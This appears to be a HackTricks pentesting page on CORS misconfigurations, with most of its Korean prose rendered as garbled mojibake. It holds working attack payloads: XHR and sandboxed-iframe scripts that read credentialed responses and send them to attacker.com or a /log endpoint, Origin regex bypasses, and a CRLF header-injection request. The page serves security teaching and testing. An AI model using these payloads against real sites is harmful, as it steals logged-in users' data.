CORS - Misconfigurations & Bypass
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
CORS๋?
Cross-Origin Resource Sharing (CORS) ํ์ค์ ์๋ฒ๊ฐ ๋๊ฐ ์์ฐ์ ์ ๊ทผํ ์ ์๋์ง์ ์ด๋ค HTTP ์์ฒญ ๋ฐฉ๋ฒ์ด ์ธ๋ถ ์ถ์ฒ์์ ํ์ฉ๋๋์ง๋ฅผ ์ ์ํ ์ ์๋๋ก ํ๋ค.
๋์ผ ์ถ์ฒ(same-origin) ์ ์ฑ
์ ๋ฆฌ์์ค๋ฅผ ์์ฒญํ๋ ์๋ฒ์ ๋ฆฌ์์ค๋ฅผ ํธ์คํ
ํ๋ ์๋ฒ๊ฐ ๋์ผํ ํ๋กํ ์ฝ(์: http://), ๋๋ฉ์ธ ์ด๋ฆ(์: internal-web.com), ๋ฐ ํฌํธ(์: 80)๋ฅผ ๊ณต์ ํด์ผ ํจ์ ์๊ตฌํ๋ค. ์ด ์ ์ฑ
ํ์์๋ ๋์ผํ ๋๋ฉ์ธ๊ณผ ํฌํธ์ ์น ํ์ด์ง๋ง ๋ฆฌ์์ค์ ์ ๊ทผํ ์ ์๋ค.
http://normal-website.com/example/example.html ๋งฅ๋ฝ์์ ๋์ผ ์ถ์ฒ ์ ์ฑ
์ ์ ์ฉ ์๋ ๋ค์๊ณผ ๊ฐ๋ค:
| URL accessed | Access permitted? |
|---|---|
http://normal-website.com/example/ | ์: ๋์ผํ ์คํด(ํ๋กํ ์ฝ), ๋๋ฉ์ธ ๋ฐ ํฌํธ |
http://normal-website.com/example2/ | ์: ๋์ผํ ์คํด(ํ๋กํ ์ฝ), ๋๋ฉ์ธ ๋ฐ ํฌํธ |
https://normal-website.com/example/ | ์๋์ค: ๋ค๋ฅธ ์คํด ๋ฐ ํฌํธ |
http://en.normal-website.com/example/ | ์๋์ค: ๋ค๋ฅธ ๋๋ฉ์ธ |
http://www.normal-website.com/example/ | ์๋์ค: ๋ค๋ฅธ ๋๋ฉ์ธ |
http://normal-website.com:8080/example/ | ์๋์ค: ๋ค๋ฅธ ํฌํธ* |
*Internet Explorer๋ same-origin ์ ์ฑ ์ ์ ์ฉํ ๋ ํฌํธ ๋ฒํธ๋ฅผ ๋ฌด์ํ๋ฏ๋ก ์ด ์ ๊ทผ์ ํ์ฉํ๋ค.
Access-Control-Allow-Origin ํค๋
์ด ํค๋๋ ์ฌ๋ฌ origin, null ๊ฐ, ๋๋ ์์ผ๋์นด๋ *****๋ฅผ ํ์ฉํ ์ ์๋ค. ๊ทธ๋ฌ๋ ์ด๋ค ๋ธ๋ผ์ฐ์ ๋ ์ฌ๋ฌ origin์ ์ง์ํ์ง ์์ผ๋ฉฐ, ์์ผ๋์นด๋ *์ ์ฌ์ฉ์๋ ์ ํ์ด ์๋ค. (์์ผ๋์นด๋๋ ๋จ๋
์ผ๋ก๋ง ์ฌ์ฉ๋์ด์ผ ํ๋ฉฐ, Access-Control-Allow-Credentials: true์ ํจ๊ป ์ฌ์ฉํ๋ ๊ฒ์ ํ์ฉ๋์ง ์๋๋ค.)
์ด ํค๋๋ ์น์ฌ์ดํธ์์ ์์๋ ๊ต์ฐจ ๋๋ฉ์ธ ๋ฆฌ์์ค ์์ฒญ์ ๋ํด ์๋ฒ๊ฐ ์๋ตํ ๋ ๋ฐํ๋๋ฉฐ, ๋ธ๋ผ์ฐ์ ๋ ์๋์ผ๋ก Origin ํค๋๋ฅผ ์ถ๊ฐํ๋ค.
Access-Control-Allow-Credentials ํค๋
๊ธฐ๋ณธ์ ์ผ๋ก ๊ต์ฐจ ์ถ์ฒ ์์ฒญ์ cookies๋ Authorization header ๊ฐ์ ์๊ฒฉ ์ฆ๋ช
์์ด ์ด๋ฃจ์ด์ง๋ค. ๊ทธ๋ฌ๋ ๊ต์ฐจ ๋๋ฉ์ธ ์๋ฒ๋ ํด๋ผ์ด์ธํธ๊ฐ ์๊ฒฉ ์ฆ๋ช
์ ์ ์กํ ๋ ์๋ต์ ์ฝ์ ์ ์๋๋ก Access-Control-Allow-Credentials ํค๋๋ฅผ **true**๋ก ์ค์ ํ์ฌ ํ์ฉํ ์ ์๋ค.
Access-Control-Allow-Credentials๊ฐ true๋ก ์ค์ ๋๋ฉด ๋ธ๋ผ์ฐ์ ๋ ์๊ฒฉ ์ฆ๋ช
(cookies, authorization headers, ๋๋ TLS client certificates)์ ์ ์กํ๋ค.
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
fetch(url, {
credentials: "include",
})
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")
CSRF ํ๋ฆฌํ๋ผ์ดํธ ์์ฒญ
๊ต์ฐจ ์ถ์ฒ ํต์ ์์ ํ๋ฆฌํ๋ผ์ดํธ ์์ฒญ ์ดํดํ๊ธฐ
ํน์ ์กฐ๊ฑด(์: ๋นํ์ค HTTP ๋ฉ์๋ ์ฌ์ฉ(HEAD, GET, POST ์ด์ธ์ ๋ชจ๋ ๊ฒ), ์๋ก์ด ํค๋ ์ถ๊ฐ, ๋๋ ํน์ํ Content-Type ํค๋ ๊ฐ ์ฌ์ฉ) ํ์์ ๊ต์ฐจ ์ถ์ฒ ์์ฒญ์ ์์ํ ๋ ํ๋ฆฌํ๋ผ์ดํธ ์์ฒญ์ด ํ์ํ ์ ์์ต๋๋ค.
์ด ์๋น ์์ฒญ์ OPTIONS ๋ฉ์๋๋ฅผ ์ฌ์ฉํด ํฅํ ๋ฐ์ํ ๊ต์ฐจ ์ถ์ฒ ์์ฒญ์ ์๋(์ฌ์ฉํ๋ ค๋ HTTP ๋ฉ์๋์ ํค๋ ๋ฑ์) ๋ฅผ ์๋ฒ์ ์๋ฆฌ๋ ์ญํ ์ ํฉ๋๋ค.
๊ต์ฐจ ์ถ์ฒ ๋ฆฌ์์ค ๊ณต์ (CORS) ํ๋กํ ์ฝ์ ํ์ฉ๋ ๋ฉ์๋, ํค๋ ๋ฐ ์ถ์ฒ์ ์ ๋ขฐ์ฑ์ ํ์ธํ์ฌ ์์ฒญ๋ ๊ต์ฐจ ์ถ์ฒ ์์ ์ ์คํ ๊ฐ๋ฅ์ฑ์ ํ๋จํ๊ธฐ ์ํด ์ด ํ๋ฆฌํ๋ผ์ดํธ ๊ฒ์ฌ๋ฅผ ์๊ตฌํฉ๋๋ค. ํ๋ฆฌํ๋ผ์ดํธ ์์ฒญ์ด ํ์ํ์ง ์์ ์กฐ๊ฑด์ ๋ํด ์์ธํ ์๊ณ ์ถ๋ค๋ฉด Mozilla Developer Network (MDN)์ ํฌ๊ด์ ์ธ ๊ฐ์ด๋๋ฅผ ์ฐธ์กฐํ์ธ์.
ํ๋ฆฌํ๋ผ์ดํธ ์์ฒญ์ ๋ถ์ฌ๊ฐ ์๋ต์ ๊ถํ ๊ด๋ จ ํค๋๊ฐ ์์ด๋ ๋๋ค๋ ๊ฒ์ ์๋ฏธํ์ง ์๋๋ค๋ ์ ์ ๋งค์ฐ ์ค์ํฉ๋๋ค. ์ด๋ฌํ ํค๋๊ฐ ์์ผ๋ฉด ๋ธ๋ผ์ฐ์ ๋ ๊ต์ฐจ ์ถ์ฒ ์์ฒญ์ ์๋ต์ ์ฒ๋ฆฌํ ์ ์์ต๋๋ค.
๋ค์์ PUT ๋ฉ์๋์ Special-Request-Header๋ผ๋ ์ปค์คํ
ํค๋๋ฅผ ์ฌ์ฉํ๋ ค๋ ๋ชฉ์ ์ ํ๋ฆฌํ๋ผ์ดํธ ์์ฒญ ์์์
๋๋ค:
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
์๋ต์ผ๋ก ์๋ฒ๋ ์๋์ ๊ฐ์ด accepted methods, allowed origin ๋ฐ ๊ธฐํ CORS policy details๋ฅผ ๋ํ๋ด๋ headers๋ฅผ ๋ฐํํ ์ ์์ต๋๋ค:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Access-Control-Allow-Headers: ์ด ํค๋๋ ์ค์ ์์ฒญ์์ ์ด๋ค ํค๋๋ฅผ ์ฌ์ฉํ ์ ์๋์ง ์ง์ ํฉ๋๋ค. ์๋ฒ๊ฐ ํด๋ผ์ด์ธํธ์ ์์ฒญ์์ ํ์ฉ๋๋ ํค๋๋ฅผ ํ์ํ๊ธฐ ์ํด ์ค์ ํฉ๋๋ค.Access-Control-Expose-Headers: ์ด ํค๋๋ฅผ ํตํด ์๋ฒ๋ ๋จ์ ์๋ต ํค๋ ์ธ์ ์ด๋ค ํค๋๋ฅผ ์๋ต์ ์ผ๋ถ๋ก ๋ ธ์ถํ ์ ์๋์ง ํด๋ผ์ด์ธํธ์๊ฒ ์๋ฆฝ๋๋ค.Access-Control-Max-Age: ์ด ํค๋๋ ์ฌ์ ์์ฒญ(pre-flight request)์ ๊ฒฐ๊ณผ๋ฅผ ์ผ๋ง๋ ์ค๋ ์บ์ํ ์ ์๋์ง ๋ํ๋ ๋๋ค. ์๋ฒ๋ ์ฌ์ ์์ฒญ์ผ๋ก ๋ฐํ๋ ์ ๋ณด๋ฅผ ์ฌ์ฌ์ฉํ ์ ์๋ ์ต๋ ์๊ฐ์ ์ด ๋จ์๋ก ์ค์ ํฉ๋๋ค.Access-Control-Request-Headers: ์ฌ์ ์์ฒญ์์ ์ฌ์ฉ๋๋ฉฐ, ํด๋ผ์ด์ธํธ๊ฐ ์ค์ ์์ฒญ์์ ์ฌ์ฉํ๋ ค๋ HTTP ํค๋๋ฅผ ์๋ฒ์ ์๋ฆฌ๊ธฐ ์ํด ํด๋ผ์ด์ธํธ๊ฐ ์ค์ ํฉ๋๋ค.Access-Control-Request-Method: ์ด ํค๋๋ ์ญ์ ์ฌ์ ์์ฒญ์์ ์ฌ์ฉ๋๋ฉฐ, ํด๋ผ์ด์ธํธ๊ฐ ์ค์ ์์ฒญ์์ ์ฌ์ฉํ HTTP ๋ฉ์๋๋ฅผ ๋ํ๋ด๊ธฐ ์ํด ์ค์ ํฉ๋๋ค.Origin: ์ด ํค๋๋ ๋ธ๋ผ์ฐ์ ์ ์ํด ์๋์ผ๋ก ์ค์ ๋๋ฉฐ ๊ต์ฐจ ์ถ์ฒ ์์ฒญ์ ์ถ์ฒ(origin)๋ฅผ ๋ํ๋ ๋๋ค. ์๋ฒ๋ ์ด๋ฅผ ์ฌ์ฉํด CORS ์ ์ฑ ์ ๋ฐ๋ผ ๋ค์ด์ค๋ ์์ฒญ์ ํ์ฉํ ์ง ๊ฑฐ๋ถํ ์ง ํ๋จํฉ๋๋ค.
Note that usually (depending on the content-type and headers set) in a GET/POST request no pre-flight request is sent (the request is sent directly), but if you want to access the headers/body of the response, it must contains an Access-Control-Allow-Origin header allowing it.
๋ฐ๋ผ์ CORS๋ CSRF๋ก๋ถํฐ ๋ณดํธํ์ง ์์ต๋๋ค(๊ทธ๋ฌ๋ ๋์์ด ๋ ์ ์์ต๋๋ค).
๋ก์ปฌ ๋คํธ์ํฌ ์์ฒญ์ ์ฌ์ ์์ฒญ
Access-Control-Request-Local-Network: ์ด ํค๋๋ ํด๋ผ์ด์ธํธ์ ์์ฒญ์ ํฌํจ๋์ด ํด๋น ์์ฒญ์ด ๋ก์ปฌ ๋คํธ์ํฌ ๋ฆฌ์์ค๋ฅผ ๋์์ผ๋ก ํ๋ค๋ ๊ฒ์ ํ์ํฉ๋๋ค. ์ด๋ ์์ฒญ์ด ๋ก์ปฌ ๋คํธ์ํฌ ๋ด๋ถ์์ ์์์ ์๋ฒ์ ์๋ฆฌ๋ ํ์ ์ญํ ์ ํฉ๋๋ค.Access-Control-Allow-Local-Network: ์๋ต์์๋ ์๋ฒ๊ฐ ์ด ํค๋๋ฅผ ์ฌ์ฉํ์ฌ ์์ฒญ๋ ๋ฆฌ์์ค๊ฐ ๋ก์ปฌ ๋คํธ์ํฌ ์ธ๋ถ์ ์ํฐํฐ์ ๊ณต์ ๋๋ ๊ฒ์ ํ์ฉํ๋ค๋ ๊ฒ์ ์๋ฆฝ๋๋ค. ์ด๋ ์๋ก ๋ค๋ฅธ ๋คํธ์ํฌ ๊ฒฝ๊ณ ๊ฐ์ ๋ฆฌ์์ค๋ฅผ ๊ณต์ ํด๋ ๋๋ค๋ ์ ํธ๋ก ์์ฉํ๋ฉฐ, ๋ณด์ ํ๋กํ ์ฝ์ ์ ์งํ๋ฉด์ ์ ์ด๋ ์ ๊ทผ์ ๋ณด์ฅํฉ๋๋ค.
A valid response allowing the local network request needs to have also in the response the header Access-Controls-Allow-Local_network: true :
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
Warning
linux 0.0.0.0 IP๋ ํด๋น IP ์ฃผ์๊ฐ โlocalโ๋ก ๊ฐ์ฃผ๋์ง ์๊ธฐ ๋๋ฌธ์ localhost์ ์ ๊ทผํ๊ธฐ ์ํ ์ด๋ฌํ ์๊ตฌ์ฌํญ์ bypassํ๋ ๋ฐ ์๋ํ๋ค๋ ์ ์ ์ ์ํ์ธ์.
๋ํ public IP address of a local endpoint(์: router์ public IP)๋ฅผ ์ฌ์ฉํ๋ฉด bypass the Local Network requirementsํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค. ์ฌ๋ฌ ๊ฒฝ์ฐ์ public IP์ ์ ๊ทผํ๋๋ผ๋ ๊ทธ๊ฒ์ด from the local network์ธ ๊ฒฝ์ฐ ์ ๊ทผ์ด ํ์ฉ๋ ์ ์์ต๋๋ค.
์์ผ๋์นด๋
๋ค์ ์ค์ ์ด ๋งค์ฐ ๊ด๋ํด ๋ณด์ผ์ง๋ผ๋:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
This is not allowed by browsers and therefore credentials wonโt be sent with the request allowed by this.
์ ์ฉ ๊ฐ๋ฅํ ์๋ชป๋ ๊ตฌ์ฑ
๊ด์ฐฐ๋ ๋ฐ์ ๋ฐ๋ฅด๋ฉด Access-Control-Allow-Credentials๋ฅผ **true**๋ก ์ค์ ํ๋ ๊ฒ์ ๋๋ถ๋ถ์ ์ค์ ๊ณต๊ฒฉ์ ๋ํ ์ ์ ์กฐ๊ฑด์
๋๋ค. ์ด ์ค์ ์ browser๊ฐ credentials๋ฅผ ์ ์กํ๊ณ ์๋ต์ ์ฝ์ ์ ์๋๋ก ํ์ฉํ์ฌ ๊ณต๊ฒฉ์ ํจ์จ์ฑ์ ๋์
๋๋ค. ์ด ์ค์ ์ด ์์ผ๋ฉด, browser์๊ฒ ์์ฒญ์ ์ํํ๊ฒ ํ๋ ๊ฒ๊ณผ ์์ ์ด ์ง์ ์์ฒญํ๋ ๊ฒ ์ฌ์ด์ ์ด์ ์ด ์ค์ด๋ค๋ฉฐ, ์ฌ์ฉ์์ cookies๋ฅผ ์ด์ฉํ๋ ๊ฒ์ด ์คํ ๋ถ๊ฐ๋ฅํด์ง๋๋ค.
์์ธ: ๋คํธ์ํฌ ์์น๋ฅผ ์ธ์ฆ ์๋จ์ผ๋ก ์ ์ฉํ๊ธฐ
ํผํด์์ network location์ด ์ผ์ข ์ ์ธ์ฆ ์๋จ์ผ๋ก ์๋ํ๋ ์์ธ๊ฐ ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ ํผํด์์ browser๋ฅผ ํ๋ก์๋ก ์ฌ์ฉํ์ฌ IP-based authentication์ ์ฐํํ๊ณ intranet applications์ ์ ๊ทผํ ์ ์์ต๋๋ค. ์ด ๋ฐฉ๋ฒ์ ์ํฅ ์ธก๋ฉด์์ DNS rebinding๊ณผ ์ ์ฌํ์ง๋ง ์ ์ฉํ๊ธฐ๋ ๋ ๊ฐ๋จํฉ๋๋ค.
Origin์ด Access-Control-Allow-Origin์ ๋ฐ์๋๋ ๊ฒฝ์ฐ
ํ์ค์์ Origin header์ ๊ฐ์ด Access-Control-Allow-Origin์ ๋ฐ์๋๋ ์๋๋ฆฌ์ค๋, ์ด๋ฌํ ํค๋๋ค์ ๊ฒฐํฉํ๋ ๋ฐ ๋ํ ์ ์ฝ ๋๋ฌธ์ ์ด๋ก ์ ์ผ๋ก๋ ๋๋ญ
๋๋ค. ํ์ง๋ง ์ฌ๋ฌ URL์ ๋ํด CORS๋ฅผ ํ์ฑํํ๋ ค๋ ๊ฐ๋ฐ์๋ค์ Origin header์ ๊ฐ์ ๋ณต์ฌํ์ฌ Access-Control-Allow-Origin ํค๋๋ฅผ ๋์ ์ผ๋ก ์์ฑํ ์ ์์ต๋๋ค. ์ด๋ฌํ ๋ฐฉ์์ ์ทจ์ฝ์ ์ ์ด๋ํ ์ ์์ผ๋ฉฐ, ํนํ ๊ณต๊ฒฉ์๊ฐ ํฉ๋ฒ์ ์ผ๋ก ๋ณด์ด๋๋ก ์ด๋ฆ์ ์กฐ์ํ ๋๋ฉ์ธ์ ์ฌ์ฉํ์ฌ ๊ฒ์ฆ ๋ก์ง์ ์์ผ ๊ฒฝ์ฐ ๋ฌธ์ ๊ฐ ๋ฉ๋๋ค.
<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>
null Origin ์
์ฉ
null origin์ ๋ฆฌ๋๋ ํธ๋ ๋ก์ปฌ HTML ํ์ผ๊ณผ ๊ฐ์ ์ํฉ์์ ์ง์ ๋๋ฉฐ, ํน์ํ ์์น๋ฅผ ์ฐจ์งํ๋ค. ์ผ๋ถ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ก์ปฌ ๊ฐ๋ฐ์ ์ํด ์ด origin์ ํ์ดํธ๋ฆฌ์คํธ์ ์ถ๊ฐํ๋๋ฐ, ๊ทธ ๊ฒฐ๊ณผ ์๋์น ์๊ฒ ์ด๋ค ์น์ฌ์ดํธ๋ sandboxed iframe์ ํตํด null origin์ ํ๋ด ๋ด์ด CORS ์ ํ์ ์ฐํํ ์ ์๊ฒ ๋๋ค.
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
Regular Expression ์ฐํ ๊ธฐ๋ฒ
๋๋ฉ์ธ ํ์ดํธ๋ฆฌ์คํธ๋ฅผ ๋ง๋ฌ์ ๋๋ ๊ณต๊ฒฉ์์ ๋๋ฉ์ธ์ ํ์ดํธ๋ฆฌ์คํธ ๋๋ฉ์ธ์ ๋ง๋ถ์ด๊ฑฐ๋ subdomain takeover ์ทจ์ฝ์ ์ ์ด์ฉํ๋ ๋ฑ ์ฐํ ๊ฐ๋ฅ์ฑ์ ๋ฐ๋์ ํ ์คํธํด์ผ ํฉ๋๋ค. ๋ํ ๋๋ฉ์ธ ๊ฒ์ฆ์ ์ฌ์ฉ๋๋ regular expressions์ด ๋๋ฉ์ธ ๋ช ๋ช ๊ท์น์ ๋ฏธ๋ฌํ ์ฐจ์ด๋ฅผ ๋์น ์ ์์ด ์ถ๊ฐ์ ์ธ ์ฐํ ๊ฐ๋ฅ์ฑ์ด ์กด์ฌํฉ๋๋ค.
Advanced Regular Expression ์ฐํ
Regex ํจํด์ ์ผ๋ฐ์ ์ผ๋ก ์์ซ์, dot (.), hyphen (-) ๋ฌธ์์ ์ง์คํ๊ณ ๋ค๋ฅธ ๊ฐ๋ฅ์ฑ์ ๊ฐ๊ณผํ๋ ๊ฒฝํฅ์ด ์์ต๋๋ค. ์๋ฅผ ๋ค์ด ๋ธ๋ผ์ฐ์ ์ regex ํจํด์์ ๋ค๋ฅด๊ฒ ํด์๋๋ ๋ฌธ์๋ฅผ ํฌํจํ๋๋ก ์ ์๋ ๋๋ฉ์ธ์ ๋ณด์ ๊ฒ์ฌ๋ฅผ ์ฐํํ ์ ์์ต๋๋ค. Safari, Chrome, Firefox๊ฐ ์๋ธ๋๋ฉ์ธ์์์ ์ธ๋์ค์ฝ์ด ๋ฌธ์ ์ฒ๋ฆฌ ๋ฐฉ์์ด ๋ค๋ฅด๋ค๋ ์ ์ ์ด๋ฌํ ๋ถ์ผ์น๋ฅผ ์ ์ฉํด ๋๋ฉ์ธ ๊ฒ์ฆ ๋ก์ง์ ํํผํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค.
For more information and settings of this bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
.png)
์๋ธ๋๋ฉ์ธ ๋ด๋ถ์ XSS๋ก๋ถํฐ
๊ฐ๋ฐ์๋ค์ ํ์ฉ๋ ๋๋ฉ์ธ๋ง ์ ๋ณด๋ฅผ ์์ฒญํ ์ ์๋๋ก ๋๋ฉ์ธ์ ํ์ดํธ๋ฆฌ์คํธ์ ์ฌ๋ ค CORS ์ ์ฉ์ ๋ฐฉ์ดํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ฌํ ๋๋น์ฑ ์๋ ๋ถ๊ตฌํ๊ณ ์์คํ ๋ณด์์ ์์ ํ์ง ์์ต๋๋ค. ํ์ดํธ๋ฆฌ์คํธ๋ ๋๋ฉ์ธ ์ค ๋จ ํ๋์ ์ทจ์ฝํ ์๋ธ๋๋ฉ์ธ๋ง ์์ด๋ XSS (Cross-Site Scripting) ๊ฐ์ ๋ค๋ฅธ ์ทจ์ฝ์ ์ ํตํด CORS ์ ์ฉ์ด ๊ฐ๋ฅํด์ง๋๋ค.
์๋ฅผ ๋ค์ด, ๋๋ฉ์ธ requester.com์ด ๋ค๋ฅธ ๋๋ฉ์ธ provider.com์ ๋ฆฌ์์ค์ ์ ๊ทผํ๋๋ก ํ์ดํธ๋ฆฌ์คํธ์ ๋ฑ๋ก๋์ด ์๋ค๊ณ ๊ฐ์ ํด ๋ณด๊ฒ ์ต๋๋ค. ์๋ฒ ์ธก ์ค์ ์ ๋๋ต ๋ค์๊ณผ ๊ฐ์ ์ ์์ต๋๋ค:
if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}
์ด ์ค์ ์์๋ requester.com์ ๋ชจ๋ ํ์ ๋๋ฉ์ธ์ด ์ ๊ทผ์ ํ์ฉํฉ๋๋ค. ๊ทธ๋ฌ๋ sub.requester.com ๊ฐ์ ํ์ ๋๋ฉ์ธ์ด XSS ์ทจ์ฝ์ ์ผ๋ก ํ์ทจ๋๋ฉด ๊ณต๊ฒฉ์๋ ์ด ์ฝ์ ์ ์
์ฉํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด sub.requester.com์ ์ ๊ทผ ๊ถํ์ด ์๋ ๊ณต๊ฒฉ์๋ XSS ์ทจ์ฝ์ ์ ์ด์ฉํด CORS ์ ์ฑ
์ ์ฐํํ๊ณ provider.com์ ๋ฆฌ์์ค์ ์
์์ ์ผ๋ก ์ ๊ทผํ ์ ์์ต๋๋ค.
ํน์ ๋ฌธ์
PortSwigger์ URL validation bypass cheat sheet๋ ์ผ๋ถ ๋ธ๋ผ์ฐ์ ๊ฐ ๋๋ฉ์ธ ์ด๋ฆ์ ์ด์ํ ๋ฌธ์๋ฅผ ํ์ฉํ๋ค๋ ๊ฒ์ ๋ฐ๊ฒฌํ์ต๋๋ค.
Chrome๊ณผ Firefox๋ Origin ํค๋๋ฅผ ๊ฒ์ฆํ๋๋ก ๊ตฌํ๋ regexes๋ฅผ ์ฐํํ ์ ์๋ ๋ฐ์ค ๋ฌธ์ _๋ฅผ ์ง์ํฉ๋๋ค:
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
Safari๋ ๋๋ฉ์ธ ์ด๋ฆ์์ ํน์ ๋ฌธ์๋ฅผ ํ์ฉํ๋ ๋ฐ ํจ์ฌ ๋ ๊ด๋ํฉ๋๋ค:
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
๊ธฐํ ์ฌ๋ฏธ์๋ URL ํธ๋ฆญ
Server-side cache poisoning
HTTP header injection์ ํตํด server-side cache poisoning์ ์
์ฉํ๋ฉด ์ ์ฅ๋ Cross-Site Scripting (XSS) ์ทจ์ฝ์ ์ด ์ ๋ฐ๋ ์ ์์ต๋๋ค. ์ด ์๋๋ฆฌ์ค๋ ์ ํ๋ฆฌ์ผ์ด์
์ด Origin ํค๋์ ๋ถ๋ฒ ๋ฌธ์๋ฅผ ์ ์ ํ ์ ์ ํ์ง ๋ชปํ ๋ ๋ฐ์ํ๋ฉฐ, ํนํ Internet Explorer ๋ฐ Edge ์ฌ์ฉ์์๊ฒ ์ํฅ์ ์ค๋๋ค. ์ด๋ค ๋ธ๋ผ์ฐ์ ๋ (0x0d)๋ฅผ ํฉ๋ฒ์ ์ธ HTTP ํค๋ ์ข
๋ฃ์๋ก ์ฒ๋ฆฌํ์ฌ HTTP header injection ์ทจ์ฝ์ ์ผ๋ก ์ด์ด์ง๋๋ค.
๋ค์์ Origin ํค๋๊ฐ ์กฐ์๋ ์์ฒญ์ ์์
๋๋ค:
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer์ Edge๋ ์๋ต์ ๋ค์๊ณผ ๊ฐ์ด ํด์ํฉ๋๋ค:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
์น ๋ธ๋ผ์ฐ์ ๋ก ์๋ชป๋ ํค๋๋ฅผ ์ ์กํ๊ฒ ํ์ฌ ์ด ์ทจ์ฝ์ ์ ์ง์ ์ ์ฉํ๋ ๊ฒ์ ํ์ค์ ์ด์ง ์์ง๋ง, Burp Suite์ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํด ์์์ ์ผ๋ก ์กฐ์๋ ์์ฒญ์ ์์ฑํ ์ ์๋ค. ์ด ๋ฐฉ๋ฒ์ server-side cache๊ฐ ์๋ต์ ์ ์ฅํด ๋ค๋ฅธ ์ฌ์ฉ์์๊ฒ ์๋์น ์๊ฒ ์ ๊ณต๋๋๋ก ๋ง๋ค ์ ์๋ค. ์กฐ์๋ ํ์ด๋ก๋๋ ํ์ด์ง์ ๋ฌธ์ ์งํฉ์ UTF-7๋ก ๋ณ๊ฒฝํ๋ ๊ฒ์ ๋ชฉํ๋ก ํ๋๋ฐ, UTF-7์ ํน์ ์ปจํ ์คํธ์์ ๋ฌธ์๋ฅผ ์คํฌ๋ฆฝํธ๋ก ์คํ๋ ์ ์๋ ๋ฐฉ์์ผ๋ก ์ธ์ฝ๋ฉํ ์ ์๊ธฐ ๋๋ฌธ์ XSS ์ทจ์ฝ์ ๊ณผ ๊ด๋ จ์ด ์๋ ์ธ์ฝ๋ฉ์ด๋ค.
์ถ๊ฐ๋ก stored XSS ์ทจ์ฝ์ ์ ๋ํด ์ฝ์ด๋ณด๋ ค๋ฉด PortSwigger๋ฅผ ์ฐธ์กฐํ๋ผ.
